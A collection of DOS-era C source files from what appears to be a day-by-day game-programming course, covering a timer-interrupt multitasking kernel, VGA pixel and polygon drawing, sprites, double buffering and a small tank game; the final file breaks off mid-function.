particle starfield[NUM_STARS]; // the star field
int star_id, mirror_id, ball_id; // used to hold id's so that tasks can be
// terminated later
// F U N C T I O N S //////////////////////////////////////////////////////////
void Initialize_Kernal(void)
{
// this function will set up the task list and prepare for it to be populated
int index; // loop variable
for (index=0; index<MAX_TASKS; index++)
{
// set id to current location in list
tasks[index].id = index;
// set to inactive
tasks[index].state = TASK_INACTIVE;
// set function pointer to NULL;
tasks[index].task = NULL;
} // end for index
} // end Initialize_Kernal
///////////////////////////////////////////////////////////////////////////////
void Start_Kernal(void)
{
// install our time keeper ISR while saving old one
Old_Time_Isr = _dos_getvect(TIME_KEEPER_INT);
_dos_setvect(TIME_KEEPER_INT, Multi_Kernal);
} // end Start_Kernal
///////////////////////////////////////////////////////////////////////////////
void Stop_Kernal(void)
{
// replace old time keeper ISR
_dos_setvect(TIME_KEEPER_INT, Old_Time_Isr);
} // end Stop_Kernal
//////////////////////////////////////////////////////////////////////////////
int Add_Task(void (far *function)())
{
// this function will add the task to the task list and return it's id number
// which can be used to delete it. If the function returns -1 then the
// task list is full and no more tasks can be added
int index;
for (index=0; index<MAX_TASKS; index++)
{
// try and find an inactive task
if (tasks[index].state == TASK_INACTIVE)
{
// load new task into this position
tasks[index].state = TASK_ACTIVE;
tasks[index].id = index;
tasks[index].task = function; // assign function pointer
// adjust global task monitor
num_tasks++;
// return id to caller
return(tasks[index].id);
} // end if found an inactive task
} // end for index
// if we got this far then there are no free spots...bummer
return(-1);
} // end Add_Task
///////////////////////////////////////////////////////////////////////////////
int Delete_Task(int id)
{
// this function will try to delete a task from the task list, if the function
// is successful, it will return 1 else it will return 0.
if (tasks[id].state == TASK_ACTIVE)
{
// kill task and return success
tasks[id].task = NULL;
tasks[id].state = TASK_INACTIVE;
// decrement number of active tasks
num_tasks--;
return(1);
} // end if task can be deleted
else
{
// couldn't delete task
return(0);
} // end task already dead
} // end Delete_Task
///////////////////////////////////////////////////////////////////////////////
void _interrupt far Multi_Kernal(void)
{
// this function will call all of the task in a round robin manner such that
// only one task will be called per interrupt. note: ther must be at least
// one active task in the task list
static int current_task=0; // current_task to be executed by kernal
// test if there are any tasks at all
if (num_tasks>0)
{
// find an active task
while(tasks[current_task].state!=TASK_ACTIVE)
{
// move to next task and round robin if at end of task list
if (++current_task>=MAX_TASKS)
current_task=0;
} // end search for active task
// at this point we have an active task so call it
tasks[current_task].task(); // weird looking huh!
// now we need to move to the next possible task
if (++current_task>=MAX_TASKS)
current_task=0;
} // end if there are any tasks
// chain to old ISR (play nice with the other children)
Old_Time_Isr();
} // end Multi_Kernal
///////////////////////////////////////////////////////////////////////////////
void Change_Timer(unsigned int new_count)
{
// send the control word, mode 2, binary, least/most load sequence
_outp(CONTROL_8253, CONTROL_WORD);
// now write the least significant byte to the counter register
_outp(COUNTER_0,LOW_BYTE(new_count));
// and now the the most significant byte
_outp(COUNTER_0,HI_BYTE(new_count));
} // end Change_Timer
// D E M O T A S K S /////////////////////////////////////////////////////////
void Rectangle(int xo,int yo,int x1,int y1,unsigned char color)
{
// draw a rectangle using the Bline function
Bline(xo,yo,x1,yo,color);
Bline(x1,yo,x1,y1,color);
Bline(x1,y1,xo,y1,color);
Bline(xo,y1,xo,yo,color);
} // end Rectangle
///////////////////////////////////////////////////////////////////////////////
void Stars(void)
{
// this function will animate a star field
int index; // loop variable
static int initialized=0; // this is the local static state variable
if (!initialized)
{
// initialize all the stars
for (index=0; index<NUM_STARS; index++)
{
// initialize each star to a velocity, position and color
starfield[index].x = 226 + rand()%70;
starfield[index].y = 26 + rand()%70;
// decide what star plane the star is in
switch(rand()%3)
{
case 0: // plane 1- the farthest star plane
{
// set velocity and color
starfield[index].xv = 2;
starfield[index].color = 8;
} break;
case 1: // plane 2-The medium distance star plane
{
starfield[index].xv = 4;
starfield[index].color = 7;
} break;
case 2: // plane 3-The nearest star plane
{
starfield[index].xv = 6;
starfield[index].color = 15;
} break;
} // end switch
} // end for index
// draw working window
Rectangle(225,25,225+75,25+75,9);
// set variable to move to next processing state
initialized=1;
} // end if being initialized
else
{ // must be nth time in, so do the usual
// process each star
for (index=0; index<NUM_STARS; index++)
{
// E R A S E ///////////////////////////////////////////////////////////
Plot_Pixel_Fast(starfield[index].x,starfield[index].y,0);
// M O V E /////////////////////////////////////////////////////////////
if ( (starfield[index].x+=starfield[index].xv)>=225+75 )
starfield[index].x = 226;
// D R A W /////////////////////////////////////////////////////////////
Plot_Pixel_Fast(starfield[index].x,starfield[index].y,
starfield[index].color);
} // end for index
} // end else
} // end Stars
///////////////////////////////////////////////////////////////////////////////
void Mirror(void)
{
// this function will draw a mirrored pixel image
int x,y;
unsigned char color;
static int initialized=0; // this is the local static state variable
if (!initialized)
{
// draw working window
Rectangle(125,25,125+75,25+75,9);
// set variable to move to next processing state
initialized=1;
} // end if not intialized
else
{
// D R A W /////////////////////////////////////////////////////////////////
// draw a mirrored image
x = rand()%38;
y = rand()%38;
color = (unsigned char)(rand()%256);
Plot_Pixel_Fast(x+125,y+25,color);
Plot_Pixel_Fast((75-1)-x+125,y+25,color);
Plot_Pixel_Fast(x+125,(75-1)-y+25,color);
Plot_Pixel_Fast((75-1)-x+125,(75-1)-y+25,color);
} // end else
} // end Mirror
///////////////////////////////////////////////////////////////////////////////
void Balls(void)
{
// this function will bounce a collection of balls around
int index; // used for looping
static int initialized=0; // this is the local static state variable
if (!initialized)
{
// initialize all structures
for (index=0; index<NUM_ATOMS; index++)
{
// select a random position and trajectory for each atom
// their background
atoms[index].x = 26 + rand()%70;
atoms[index].y = 26 + rand()%70;
atoms[index].xv = -2 + rand()%4;
atoms[index].yv = -2 + rand()%4;
} // end for index
// draw working window
Rectangle(25,25,25+75,25+75,9);
// set initialized flag so process can switch states
initialized = 1;
} // end if need to initialize
else
{ // do normal processing
// E R A S E /////////////////////////////////////////////////////////////
// loop through the atoms and erase them
for (index=0; index<NUM_ATOMS; index++)
{
Plot_Pixel_Fast(atoms[index].x, atoms[index].y, 0);
} // end for index
// M O V E ////////////////////////////////////////////////////////////////
// loop through the atom array and move each atom also check collsions
// with the walls of the container
for (index=0; index<NUM_ATOMS; index++)
{
// move the atoms
atoms[index].x+=atoms[index].xv;
atoms[index].y+=atoms[index].yv;
// did the atom hit a wall, if so reflect the velocity vector
if (atoms[index].x > 98 || atoms[index].x < 27)
{
atoms[index].xv=-atoms[index].xv;
atoms[index].x+=atoms[index].xv;
} // end if hit a vertical wall
if (atoms[index].y > 98 || atoms[index].y < 28)
{
atoms[index].yv=-atoms[index].yv;
atoms[index].y+=atoms[index].yv;
} // end if hit a horizontal wall
} // end for index
// D R A W /////////////////////////////////////////////////////////////////
// loop through the atoms and draw them
for (index=0; index<NUM_ATOMS; index++)
{
Plot_Pixel_Fast(atoms[index].x, atoms[index].y, 10);
} // end for index
} // end else normal processing
} // end Balls
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
int trate=20; // initial timer rate
int done=0; // exit flag
char string[80]; // used for printing
// SECTION 1 //////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// initialize the multi-tasking system
Initialize_Kernal();
// load in some processes and save their id's
star_id = Add_Task(Stars);
ball_id = Add_Task(Balls);
mirror_id = Add_Task(Mirror);
// SECTION 2 //////////////////////////////////////////////////////////////////
// set timer rate to 20Hz
Change_Timer(TIMER_20HZ);
// turn on the multi-tasking kernal, each task will be executed every 3
// interrupts since there is a round robin scheduler in place
Start_Kernal();
// SECTION 3 //////////////////////////////////////////////////////////////////
// now do main processing in parallel with other tasks
// draw menu
Blit_String(10,105,10, "Multi-Tasking Control Menu",1);
Blit_String(10,110+10,2,"Press (2-6) to Change interrupt rate.",1);
Blit_String(10,110+20,2,"Press 'B' to kill ball task.",1);
Blit_String(10,110+30,2,"Press 'S' to kill stars task.",1);
Blit_String(10,110+40,2,"Press 'M' to kill mirror task.",1);
Blit_String(10,110+50,2,"Press 'Q' to exit.",1);
Blit_String(25,10,10,"Balls",0);
Blit_String(125,10,10,"Mirror",0);
Blit_String(225,10,10,"Star Field",0);
// SECTION 4 //////////////////////////////////////////////////////////////////
// main event loop
while(!done)
{
// test if key was hit
if (kbhit())
{
// get the character and test it
switch(getch())
{
case '2': // set system timer to 20hz
{
Change_Timer(TIMER_20HZ);
trate = 20;
} break;
case '3': // set system timer to 30hz
{
Change_Timer(TIMER_30HZ);
trate = 30;
} break;
case '4': // set system timer to 40hz
{
Change_Timer(TIMER_40HZ);
trate = 40;
} break;
case '5': // set system timer to 50hz
{
Change_Timer(TIMER_50HZ);
trate = 50;
} break;
case '6': // set system timer to 60hz
{
Change_Timer(TIMER_60HZ);
trate = 60;
} break;
// SECTION 5 //////////////////////////////////////////////////////////////////
case 'b': // kill the ball task
{
Delete_Task(ball_id);
Blit_String(25,10,12,"INACTIVE ",0);
} break;
case 's': // kill the star field task
{
Delete_Task(star_id);
Blit_String(225,10,12,"INACTIVE ",0);
} break;
case 'm': // kill the mirror task
{
Delete_Task(mirror_id);
Blit_String(125,10,12,"INACTIVE ",0);
} break;
case 'q': done=1; break;
default:break;
} // end switch
} // end if kbhit
// display info
sprintf(string,"System timer at %dHZ ",trate);
Blit_String(10,190,15,string,0);
} // end while
// SECTION 6 //////////////////////////////////////////////////////////////////
// turn off the multi-tasking kernal
Stop_Kernal();
// reset system timer to 18.2
Change_Timer(TIMER_18HZ);
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_03/BOUNCE.C
//Bounce a dot
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0; // exit flag
int x=159;
int y=99;
int dx=5;
int dy=3;
unsigned char bg=0x00;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// wait for user to hit a key
while(!done) {
//erase
Plot_Pixel_Fast(x, y, bg);
//move
x+=dx;
if(x < 0) {
x = 0;
dx = -dx;
} else if(x > 319) {
x = 319;
dx = -dx;
}
y+=dy;
if(y < 0) {
y = 0;
dy = -dy;
} else if(y > 199) {
y = 199;
dy = -dy;
}
//draw
Plot_Pixel_Fast(x, y, 0x0c);
// Check for keyboard
if(kbhit()) {
done = 1;
}
Delay(1);
}
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_06/vertical.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h"
#include "graph4.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define VGA_INPUT_STATUS_1 0x3DA // vga status reg 1, bit 3 is the vsync
// when 1 - retrace in progress
// when 0 - no retrace
#define VGA_VSYNC_MASK 0x08 // masks off unwanted bit of status reg
// F U N C T I O N S ////////////////////////////////////////////////////////
void Wait_For_Vsync(void)
{
// this function waits for the start of a vertical retrace, if a vertical
// retrace is in progress then it waits until the next one
while(_inp(VGA_INPUT_STATUS_1) & VGA_VSYNC_MASK)
{
// do nothing, vga is in retrace
} // end while
// now wait for vysnc and exit
while(!(_inp(VGA_INPUT_STATUS_1) & VGA_VSYNC_MASK))
{
// do nothing, wait for start of retrace
} // end while
// at this point a vertical retrace is occuring, so return back to caller
} // end Wait_For_Vsync
// M A I N //////////////////////////////////////////////////////////////////
void main(void)
{
char buffer[128]; // used as temporary string buffer
long number_vsyncs=0; // tracks number of retrace cycles
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// wait till user hits a key
while(!kbhit())
{
// wait for a vsync
Wait_For_Vsync();
// do graphics or whatever now that we know electron gun is retracing
// we only have 1/70 of a second though! Usually, we would copy the
// double buffer to the video ram
Plot_Pixel_Fast(rand()%320, rand()%200,rand()%256);
// tally vsyncs
number_vsyncs++;
// print to screen
sprintf(buffer,"Number of Vsync's = %ld ",number_vsyncs);
Blit_String(8,8,9,buffer,0);
} // end while
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_05/CIRCLE.C
//Draw a circle
#include <io.h>
#include <stdlib.h>
#include "graph3.h"
#include "graph4.h"
#include "graph5.h"
// P R O T O T Y P E S ////////////////////////////////////////////////////////
void draw_circle(double x, double y, double r, unsigned char c);
int main()
{
//set up trig tables
Create_Tables();
//go graphical
Set_Video_Mode(VGA256);
//wait for keypress
while(!kbhit())
{
draw_circle(rand()%320, rand()%200, rand()%50, rand()%256);
}
//back to text mode
Set_Video_Mode(TEXT_MODE);
}
//draw a circle at (x,y) with radius r
void draw_circle(double x, double y, double r, unsigned char c)
{
int angle;
double px, py;
for(angle = 0; angle < 360; angle++)
{
px = x + r*cos_look[angle];
py = y + r*sin_look[angle];
if(px >= 0 && px < 320 && py >= 0 && py < 200) {
Plot_Pixel_Fast(px, py, c);
}
}
}
<file_sep>/day_05/STEST.C
//Draw a circle
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
#include "graph3.h"
#include "graph4.h"
#include "graph5.h"
polygon ship;
void clip_test();
void no_clip_test();
int main()
{
// build up a little spaceship polygon
ship.vertices[0].x = 3;
ship.vertices[0].y = -19;
ship.vertices[1].x = 12;
ship.vertices[1].y = -1;
ship.vertices[2].x = 17;
ship.vertices[2].y = 2;
ship.vertices[3].x = 17;
ship.vertices[3].y = 9;
ship.vertices[4].x = 8;
ship.vertices[4].y = 14;
ship.vertices[5].x = 5;
ship.vertices[5].y = 8;
ship.vertices[6].x = -5;
ship.vertices[6].y = 8;
ship.vertices[7].x = -8;
ship.vertices[7].y = 14;
ship.vertices[8].x = -17;
ship.vertices[8].y = 9;
ship.vertices[9].x = -17;
ship.vertices[9].y = 2;
ship.vertices[10].x = -12;
ship.vertices[10].y = -1;
ship.vertices[11].x = -3;
ship.vertices[11].y = -19;
ship.vertices[12].x = -3;
ship.vertices[12].y = -8;
ship.vertices[13].x = 3;
ship.vertices[13].y = -8;
// set position of shaceship
ship.lxo = 160;
ship.lyo = 100;
ship.num_vertices = 14;
ship.b_color = 1;
ship.closed = 1;
//set up trig tables
Create_Tables();
printf("No Clip Test\n");
getch();
no_clip_test();
printf("Clip Test\n");
getch();
clip_test();
}
void Scale2_Polygon(polygon_ptr poly, float sx, float sy)
{
int index;
// scale each vertex of the polygon
for (index=0; index<poly->num_vertices; index++)
{
// multiply by the scaling factor
poly->vertices[index].x*=sx;
poly->vertices[index].y*=sy;
} // end for
} // end Scale_Polygon
void clip_test()
{
unsigned long int i;
Set_Video_Mode(VGA256);
for(i=0; i<100000l; i++) {
Draw_Polygon_Clip((polygon_ptr)&ship);
}
Set_Video_Mode(TEXT_MODE);
}
void no_clip_test()
{
unsigned long int i;
Set_Video_Mode(VGA256);
for(i=0; i<100000l; i++) {
Draw_Polygon((polygon_ptr)&ship);
}
Set_Video_Mode(TEXT_MODE);
}
<file_sep>/day_04/attank.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include <graph.h> // microsoft's stuff if we need it
#include "graph3.h" // the module from day 3
#include "graph4.h" // the module from day 4
#include "better4.h"
// D E F I N E S ////////////////////////////////////////////////////////////
#define TANK_SPEED 4
#define PI (float)3.14159
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
long index; // used as a loop index
sprite tank1, // the player sprite
tank2; // the enemy sprite
fizzler f1,f2;
int fcount;
pcx_picture background_pcx, // this pcx structure holds background imagery
objects_pcx; // this pcx structure holds forground imagery
int tank1_direction=0, // the tanks current direction, also the current frame
tank2_direction=0, // 0 - is straight up North
done=0; // system exit flag
float dx, // motion variables
dy,
angle;
// S E C T I O N 1 //////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// load in background
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("outpost.pcx", (pcx_picture_ptr)&background_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&background_pcx);
// put up title
Blit_String(90,2,7,"A T T A N K ! ! !",1);
PCX_Delete((pcx_picture_ptr)&background_pcx);
// load the .PCX file with the tank cells
// load in the players imagery
PCX_Init((pcx_picture_ptr)&objects_pcx);
PCX_Load("tanks.pcx", (pcx_picture_ptr)&objects_pcx,0);
// S E C T I O N 2 //////////////////////////////////////////////////////
// initialize sprite size and data structure
sprite_width = 16;
sprite_height = 16;
// place tank1 (player) in bottom of screen
Sprite_Init((sprite_ptr)&tank1,160,150,0,0,0,0);
// grab all 16 images from the tanks pcx picture
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&objects_pcx,(sprite_ptr)&tank1,index,index,0);
} // end for index
// place tank2 (enemy) in top of screen
Sprite_Init((sprite_ptr)&tank2,160,50,0,0,0,0);
// grab all 16 images from the tanks pcx picture
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&objects_pcx,(sprite_ptr)&tank2,index,index,1);
} // end for index
// kill the pcx memory and buffers now that were done
PCX_Delete((pcx_picture_ptr)&objects_pcx);
// S E C T I O N 3 //////////////////////////////////////////////////
// point the tanks straight up
tank1.curr_frame = tank1_direction;
tank2.curr_frame = tank2_direction;
// scan the background under tanks on first iteration
Behind_Sprite((sprite_ptr)&tank1); // player
Behind_Sprite((sprite_ptr)&tank2); // enemy
// wait for exit, this is the main event loop
while(!done)
{
// S E C T I O N 4 //////////////////////////////////////////////////
// erase the players tank
Erase_Sprite((sprite_ptr)&tank1);
// erase the enemy tank
Erase_Sprite((sprite_ptr)&tank2);
// S E C T I O N 5 //////////////////////////////////////////////////
// test if user wants to translate or rotate tank
if (kbhit())
{
// reset translation factors
dx=dy=0;
// test what key was pressed
switch(getch())
{
case '6': // rotate right
{
// change direction of tank, make sure to wrap around
if (++tank1_direction > 15)
tank1_direction=0;
} break;
case '4': // rotate left
{
// change direction of tank, make sure to wrap around
if (--tank1_direction < 0)
tank1_direction=15;
} break;
case '8': // move foward
{
// based on direction variable compute translation factors
// compute angle in radians
angle = (90+360-22.5*(float)tank1_direction);
// compute factors based on angle and speed
dx = TANK_SPEED * cos(PI*angle/180);
dy = TANK_SPEED * sin(PI*angle/180);
} break;
case '2': // move backward
{
// based on direction variable compute translation factors
// compute angle in radians
angle = (90+360-22.5*(float)tank1_direction);
// compute factors based on angle and speed
dx = TANK_SPEED * cos(PI*angle/180);
dy = TANK_SPEED * sin(PI*angle/180);
} break;
case 'q': // quit
{
// set exit flag true
done=1;
} break;
default:break;
} // end switch
// S E C T I O N 6 //////////////////////////////////////////////////
// do the translation
tank1.x+=(int)(dx+.5);
tank1.y-=(int)(dy+.5);
// test if player bumped into edge, if so push him back
// set the frame based on new direction
tank1.curr_frame = tank1_direction;
} // end if kbhit
// S E C T I O N 7 //////////////////////////////////////////////////
// now move the enemy tank
// test if it's time to turn
if (rand()%10==1)
{
// select direction to turn
switch(rand()%2)
{
case 0: // turn right
{
if (++tank2_direction > 15)
tank2_direction=0;
} break;
case 1: // turn left
{
if (--tank2_direction < 0)
tank2_direction=15;
} break;
default:break;
} // end switch
// set the frame based on new direction
tank2.curr_frame = tank2_direction;
} // end if
// S E C T I O N 8 //////////////////////////////////////////////////
// compute angle in radians
angle = (90+360-22.5*(float)tank2_direction);
// compute factors based on angle and speed
dx = (TANK_SPEED+rand()%2) * cos(PI*angle/180);
dy = (TANK_SPEED+rand()%2) * sin(PI*angle/180);
// do the translation
tank2.x+=(int)(dx+.5);
tank2.y-=(int)(dy+.5);
// S E C T I O N 9 //////////////////////////////////////////////////
// test if enemy has hit an edge, if so warp to other side
if (tank2.x > (320-(int)sprite_width) )
tank2.x = 0;
else
if (tank2.x < 0 )
tank2.x = 319-(int)sprite_width;
if (tank2.y > (200-(int)sprite_height) )
tank2.y = 0;
else
if (tank2.y < 0 )
tank2.y = 199-(int)sprite_height;
// S E C T I O N 10 //////////////////////////////////////////////////
// scan background under players tank
Behind_Sprite((sprite_ptr)&tank1);
// scan background under emeny tank
Behind_Sprite((sprite_ptr)&tank2);
// draw players tank
Draw_Sprite((sprite_ptr)&tank1);
// draw enemy tank
Draw_Sprite((sprite_ptr)&tank2);
// test for collision
if (Sprite_Collide((sprite_ptr)&tank1,(sprite_ptr)&tank2))
{
// fizzle out
Sprite_Fizzle_Frame(&f1, &tank1);
Sprite_Fizzle_Frame(&f2, &tank2);
Delay(1);
for(fcount=1; fcount < 25; fcount++) {
Sprite_Fizzle_Frame(&f1, NULL);
Sprite_Fizzle_Frame(&f2, NULL);
Delay(1);
}
Delay(17);
done=1;
} // end if collision
// delay main loop for a sec so that user can see a solid image
Delay(2); // wait 55ms approx. or 1/18.2 sec
} // end while
// S E C T I O N 11 //////////////////////////////////////////////////
// disolve the screen...in one line I might add!
for (index=0; index<=300000; index++,Plot_Pixel_Fast(rand()%320, rand()%200, 0));
// go back to text mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_06/buffer.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h"
#include "graph4.h"
// G L O B A L S ////////////////////////////////////////////////////////////
unsigned char far *double_buffer = NULL;
unsigned int buffer_height = SCREEN_HEIGHT;
unsigned int buffer_size = SCREEN_WIDTH*SCREEN_HEIGHT/2;
// F U N C T I O N S /////////////////////////////////////////////////////////
void Show_Double_Buffer(char far *buffer)
{
// this functions copies the doubele buffer into the video buffer
_asm
{
push ds ; save DS on stack
mov cx,buffer_size ; this is the size of buffer in WORDS
les di,video_buffer ; es:di is destination of memory move
lds si,buffer ; ds:si is source of memory move
cld ; make sure to move in the right direction
rep movsw ; move all the words
pop ds ; restore the data segment
} // end asm
} // end Show_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
int Create_Double_Buffer(int num_lines)
{
// allocate enough memory to hold the double buffer
if ((double_buffer = (unsigned char far *)_fmalloc(SCREEN_WIDTH * (num_lines + 1)))==NULL)
return(0);
// set the height of the buffer and compute it's size
buffer_height = num_lines;
buffer_size = SCREEN_WIDTH * num_lines/2;
// fill the buffer with black
_fmemset(double_buffer, 0, SCREEN_WIDTH * num_lines);
// everything was ok
return(1);
} // end Init_Double_Buffer
///////////////////////////////////////////////////////////////////////////////
void Fill_Double_Buffer(int color)
{
// this function fills in the double buffer with the sent color
_fmemset(double_buffer, color, SCREEN_WIDTH * buffer_height);
} // end Fill_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
void Delete_Double_Buffer(void)
{
// this function free's up the memory allocated by the double buffer
// make sure to use FAR version
if (double_buffer)
_ffree(double_buffer);
} // end Delete_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
void Plot_Pixel_Fast_DB(int x,int y,unsigned char color)
{
// plots the pixel in the desired color a little quicker using binary shifting
// to accomplish the multiplications
// use the fact that 320*y = 256*y + 64*y = y<<8 + y<<6
double_buffer[((y<<8) + (y<<6)) + x] = color;
} // end Plot_Pixel_Fast_DB
//////////////////////////////////////////////////////////////////////////////
void main(void)
{
// this program creates a kaleidoscope of colors
int x,y,fcolor=1,index;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// main event loop
while(!kbhit())
{
// clear out the double buffer with black
Fill_Double_Buffer(0);
// next color
if (++fcolor>15) fcolor=1;
// draw something in it
for (index=0; index<200; index++)
{
// make a kaleidoscope of color
x = rand()%(SCREEN_WIDTH/2);
y = rand()%(SCREEN_HEIGHT/2);
Plot_Pixel_Fast_DB(x,y,fcolor);
Plot_Pixel_Fast_DB((SCREEN_WIDTH-1)-x,y,fcolor);
Plot_Pixel_Fast_DB(x,(SCREEN_HEIGHT-1)-y,fcolor);
Plot_Pixel_Fast_DB((SCREEN_WIDTH-1)-x,(SCREEN_HEIGHT-1)-y,fcolor);
} // end for
// copy double buffer to video buffer
Show_Double_Buffer(double_buffer);
// wait a bit so user can see it
Delay(2);
} // end while
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_11/timeint.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <dos.h>
#include <bios.h>
#include <stdio.h>
#include <math.h>
#include <conio.h>
#include "graph3.h" // include graphics our stuff
#include "graph4.h"
#include "graph6.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define TIME_KEEPER_INT 0x1C // the time keeper interrupt
// G L O B A L S /////////////////////////////////////////////////////////////
void (_interrupt far *Old_Time_Isr)(); // used to hold old interrupt vector
long counter=0; // global variable to be altered by ISR
// F U N C T I O N S ////////////////////////////////////////////////////////
void _interrupt far Timer(void)
{
// increment value of counter 18.2 times a second
counter++;
// now call old interrupt handler (if there was one?). This is only needed
// if you want to chain interrupts handlers. In the case that you want
// total control then the next instruction wouldn't be used.
Old_Time_Isr();
} // end Timer
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
char string[128]; // working string
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// draw instructions
Blit_String(2,2,15,"Press any key to exit.",0);
// install our time keeper ISR while saving old one
Old_Time_Isr = _dos_getvect(TIME_KEEPER_INT);
_dos_setvect(TIME_KEEPER_INT, Timer);
// wait for user to hit a key
while(!kbhit())
{
// print out current value of "counter", but note how we don't change it!
// it is being changed by the ISR
sprintf(string,"The interrupt has been called %ld times",counter);
Blit_String(2,2+2*8,10,string,0);
} // end while
// replace old time keeper ISR
_dos_setvect(TIME_KEEPER_INT, Old_Time_Isr);
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_12/linew.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph5.h" // need polygon stuff
#include "graph6.h"
// D E F I N E S //////////////////////////////////////////////////////////////
#define MAX_LINES 128
// S T R U C T U R E S ////////////////////////////////////////////////////////
typedef struct line_typ
{
int color; // color of the line
int x1; // first endpoint of the line
int y1;
int x2; // second endpoint of the line
int y2;
} line, *line_ptr;
// G L O B A L S /////////////////////////////////////////////////////////////
// the data structure that holds all the lines
line line_data[MAX_LINES];
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
FILE *fp;
int color,x1,y1,x2,y2,num_lines,lines; // working variables
// this is the main function
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// SECTION 2 /////////////////////////////////////////////////////////////////
// open the data file
fp = fopen("linew.dat","r");
// extract number of lines
fscanf(fp,"%d",&num_lines);
// load each line and draw
for (lines=0; lines<num_lines;lines++)
{
// load a line structure
fscanf(fp,"%d %d %d %d %d",&color,&x1,&y1,&x2,&y2);
// save line in data structure
line_data[lines].color = color;
line_data[lines].x1 = x1;
line_data[lines].y1 = y1;
line_data[lines].x2 = x2;
line_data[lines].y2 = y2;
// render the line
Bline(x1,y1,x2,y2,color);
} // end for lines
// SECTION 3 /////////////////////////////////////////////////////////////////
Blit_String(2,2,10,"Press any key to exit.",1);
// main event loop
while(!kbhit())
{
// do nothing !
} // end while
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_13/accel.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// P R O T O T Y P E S //////////////////////////////////////////////////////
// D E F I N E S /////////////////////////////////////////////////////////////
// S T R U C T U R E S ///////////////////////////////////////////////////////
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite object; // the object
// F U N C T I O N S //////////////////////////////////////////////////////////
void main(void)
{
int accel=0, // acceleration input by user
velocity=0, // current velocity of dragster
peddle_to_metal=0, // has the user punched it?
engine=0, // state of 500CI engine
done=0; // system exit variable
char buffer[80]; // used for printing
// this is the main function
// SECTION 1 //////////////////////////////////////////////////////////////////
printf("\nEnter the acceleration of the dragster (1-10) ?");
scanf("%d",&accel);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// SECTION 2 //////////////////////////////////////////////////////////////////
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("road.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
Blit_String_DB(8,8,10,"'Q' to quit, 'G' to start.",1);
// load in imagery for object
